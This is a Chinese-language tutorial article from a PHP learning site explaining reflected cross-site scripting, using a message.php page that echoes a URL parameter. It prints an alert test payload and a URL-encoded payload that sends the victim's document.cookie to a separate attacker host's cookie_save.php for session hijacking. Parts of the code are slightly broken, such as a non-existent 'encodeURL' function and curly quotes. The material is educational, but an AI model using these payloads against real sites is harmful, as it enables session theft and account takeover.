网站地图    收藏   

主页 > 后端 > 网站安全 >

跨站脚本攻击之反射型XSS漏洞 - 网站安全 - 自学

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] 如果一个WEB应用程序使用动态页面传递参数向用户显示错误信息,就有可能会造成一种常见的XSS漏洞。一般情况下,这种页面使用一个包含消息文本的参数,并在页面加载时将文本返回...

如果一个WEB应用程序使用动态页面传递参数向用户显示错误信息,就有可能会造成一种常见的XSS漏洞。一般情况下,这种页面使用一个包含消息文本的参数,并在页面加载时将文本返回给用户。对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。

 

例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:

http://fovweb.com/xss/message.php?send=Hello,World!

输出内容:

Hello,World!

此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
在原程序的URL的参数为,替换为我们用来测试的代码:

http://www.2cto.com /xss/message.php?send=<script>alert(‘xss’)</script>

页面输出内容则为:

<script>alert(‘xss’)</script>

当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:

通过URL传参测试XSS

图1 通过URL传参测试XSS

在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和执行,因为也被称为一阶XSS。

利用漏洞

利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:

反射型XSS漏洞的攻击步骤

图2 反射型XSS漏洞的攻击步骤

(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:

Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7

(2) 攻击者将含有攻击代码的URL发送给被攻击人;

例:

http://fovweb.com/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.fovweb.com/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E

(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录。

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论